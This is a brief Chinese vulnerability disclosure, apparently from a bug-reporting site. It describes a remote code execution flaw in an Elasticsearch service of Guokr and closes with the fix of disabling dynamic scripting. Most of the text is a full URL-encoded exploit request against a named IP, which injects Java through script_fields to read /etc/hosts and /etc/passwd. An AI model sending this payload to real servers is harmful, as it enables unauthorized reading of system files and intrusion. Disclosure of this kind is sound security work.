果壳网某服务远程命令执行漏洞
测试地址：
http://tool.scanv.com/es.html
相关资料：
http://blog.csdn.net/cnbird2008/Article/details/25899319
测试请求：
http://111.13.57.138:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111107529820275958627_1400564696673&_=1400564696674
修复方案：
在配置文件elasticsearch.yml里设置script.disable_dynamic: true